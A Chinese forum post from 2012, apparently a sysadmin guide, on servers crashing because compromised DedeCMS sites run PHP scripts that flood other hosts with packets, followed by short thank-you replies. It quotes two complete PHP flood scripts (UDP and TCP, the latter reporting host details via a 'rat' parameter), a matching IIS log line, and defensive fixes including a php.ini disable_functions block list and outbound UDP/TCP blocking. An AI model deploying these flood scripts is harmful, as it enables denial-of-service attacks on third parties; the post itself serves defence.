找回密码
 加入怎通
查看: 1579|回复: 3

[原创] 服务器php对外发包引起崩溃的解决办法

[复制链接]
商摆小路 发表于 2012-06-12 13:06:58 | 显示全部楼层 |阅读模式
  服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好
; a# V( N( h! a7 Y! ?  一。php对外发包分析
7 T; O. b( q( ]- S  用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:# Z9 n# ]) `# R( V: J8 P, M7 ~
  以下是代码片段:) z* [  ?2 ~2 T3 ]+ g. t
  $packets = 0;
+ l- i% t! t4 p  $ip = $_GET[\'ip\'];+ t1 w/ a6 ^0 R  K% d, {1 O
  $rand = $_GET[\'port\'];. o3 ?+ `5 O4 c* s9 |+ N
  set_time_limit(0);
6 b" [5 s5 K5 G# [. e  ignore_user_abort(FALSE);# F9 c5 E; t5 n8 R: }. [
  $exec_time = $_GET[\'time\'];sbxl-20120612$ C1 w- a# B, b* L1 W' E, z
  $time = time();
( ^- h- B+ I' ~* H+ |9 B2 f* D5 _* F0 q  print \'Flooded: $ip on port $rand8 }: h1 ?9 C! U$ z9 P' z
  \';" R4 Q$ h/ Z" w3 c
  $max_time = $time+$exec_time;
' ~1 k* L) U, ?' O  for($i=0;$i<65535;$i++){
' T! A% e- N8 U& v1 h- F8 _: b  $out .= \'X\';
" a& e. Z. G6 y. }  `' B5 M6 }  }1 [- Y5 y( p% v/ r' f
  while(1){
# g. z: K! f, u) D% B8 M) w  $packets++;
7 Z& G! }! P: y$ p+ r  if(time() > $max_time){
  V) b9 h& |/ v9 ^  break;
4 S4 h. ]' t" F# t8 N! m3 x1 r  }
9 L3 L4 t2 [+ ^6 c  $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
9 O* a1 K. q# R7 c2 @, |4 x  if($fp){
, D) U- T: c) l) K6 x5 O  fwrite($fp, $out);
1 D3 Q" s! m1 K5 f9 ?& ]  O  fclose($fp);3 |1 w. t4 L: G( W1 L/ O
  }! o. [- ?1 n3 B- o
  }
/ G0 J" }( @7 X4 [$ g  echo \'Packet complete at \'.time(\'h:i:s\').\' with5 f3 P0 N! o( h
  $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
1 E: C* }4 u4 I4 [  round($packets/$exec_time, 2) . \' packets/s ;9 e- A- M6 Y  _: p) V
  ?>
( M6 |' }7 l- M2 i$ a  二。表现特征
" j5 R) B! O& ?  一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.8 O1 i3 O$ Y& b* \
  近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.
* n+ g& f  x8 e" @8 v  如何快速找到这些站?
4 W! ~9 N: v2 Z9 w% U: q  你可以打开日志/ b1 b2 l. Z8 I  Z& ]3 a
  C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
. ?" h+ i+ E2 q7 A  里面有类似这样的记录:. H6 j! a7 E/ F% p
  2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
# |) v4 W8 h) X  K1 i  最后三项783 Disabled 30_FreeHost_1
6 O* o' z. \, w% Y/ g" j  783就是这个站在IIS中的ID
2 y+ k' O! ]5 {+ K% ~1 z5 C( m- |  30_FreeHost_1就是所在池- {( F2 x6 C& {* x! ^, D
  三?解决办法
2 Y. D5 g1 |3 A1 }8 v+ c  1.按上述找到这个网站后停止它.或停止池,并重启IIS.
" x( {5 F6 s% M& {6 s  2.在IP策略,或防火墙中,禁止所有udp向外发送4 |, X7 s& g  h- o0 k7 d/ W$ ~0 n7 S
  在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.; g6 l! c! r% Z1 a/ e- p
  为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)
3 X: G. W4 b5 H  在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)! ^  v6 k" V. Z4 P$ l. N6 Z9 |
  3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)
8 P2 ^  y4 ~& V9 z  4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
# O0 ]9 o) p) |4 K9 y/ Y+ ]  ignore_user_abort = On" u  h- R5 {9 a, D, ^9 O1 R
  (注意前面的;号要删除)& N* ^! J1 R* Q) _5 E; `
  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
  D- ?8 J8 z+ c  ^8 w1 T  在后面加上8 M! M7 A% y! X
  fsockopen,set_time_limit
1 ?1 Q0 H5 T6 I+ u, k# J3 ]  但这样会造成很多php程序都不正常./ E! y) h! ~; m- w2 z. ^$ ?
  另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?* r" e( K2 K; M9 Z4 R+ q3 w
  近期已有新的基于TCP攻击的PHPDDOS代码如下:
* r0 @8 O9 R) W' A" G. K3 F6 C8 j  以下是代码片段:8 d, G7 E5 B5 I+ a: Z' U. a
  set_time_limit(999999);; u: U5 @0 L& ?% s$ r
  $host = $_GET['host'];
  o+ Y( \7 X  S  $port = $_GET['port'];
0 [) C7 x9 t+ r$ o, Z  $exec_time = $_GET['time'];
; J4 g$ W% p3 F  C5 g  $packets = 64;' I, O' p: V# I4 D8 e6 d# n% C
  ignore_user_abort(True);; p1 u. X6 c' y$ `( a* H
  if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){% }+ o7 v+ O' M  K  H
  if (StrLen($_GET['rat'])<>0){
$ d% [; ]% m( F  echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.0 M4 ], s( q0 M, `5 Q2 x& s
  php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];: I" l$ n' A9 B6 H; b
  exit;2 o: y; s9 I# X0 Z/ V
  }& J1 B! y' w1 T* y1 Q3 n
  exit;
( {8 `. m2 t  G& |  }
# J5 \8 O! m" g  $max_time = time()+$exec_time;
" G9 ^4 _% n% \! C! P$ {  while(1){
/ I# c5 T: S% X  $packets++;
% x" a! t  P8 u7 q' z  if(time() > $max_time or $exec_time != 69){
2 e% Z) F  v0 K( i  break;4 H; h8 J$ s) e/ H1 @* a
  }
2 F6 {7 P* y7 v  $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
0 [! D9 q5 i+ D, A/ d  }' [: d( x8 b8 ?3 n" O) j; ]1 H
  ?>
9 r3 Y7 y$ Y# p8 |( c  u3 o! z8 y  同样,可以采有以下解决办法:
0 a; ^6 w, I8 D7 J* F$ k  1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS9 B: F. x; c2 g
  ignore_user_abort = On4 J+ h# k+ k" n- x5 U
  (注意前面的;号要删除)
5 z  s% o4 t) U( H: Q! D7 L- i  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,3 H" x- \6 ?0 v; V5 r& W: ^
  在后面加上$ W" i! D, I8 k8 z
  fsockopen,set_time_limit2 d6 F# V6 E3 w0 |  ^  X
  但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
7 |3 }5 _9 H6 x3 C3 L# ]* K  2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?
8 F5 f7 r' Z6 Y# I) C* L  3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?% q' H& I+ `4 C7 C
        文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。
9 h* L0 k/ Q+ v: R" f. E  L

评分

参与人数 1ZZ币 +40 收起 理由
TONY + 40 这个很受用,我们也遇到了这个问题!

查看全部评分

回复

使用道具 举报

TONY 发表于 2012-06-12 13:39:53 | 显示全部楼层
很好 感谢分享啊
回复 支持 反对

使用道具 举报

幸福的蚂蚁 发表于 2025-11-10 20:26:34 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复 支持 反对

使用道具 举报

DAIV 发表于 2026-02-17 01:26:21 | 显示全部楼层
楼主太厉害了,整理得这么详细,必须支持
回复 支持 反对

使用道具 举报

2026年3月12日真牛社区(fd.znbgj.com)签到记录贴
我今天最想说:「www.hzzdsw.com 加油」.

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-3-13 11:41 , Processed in 0.398985 second(s), 32 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表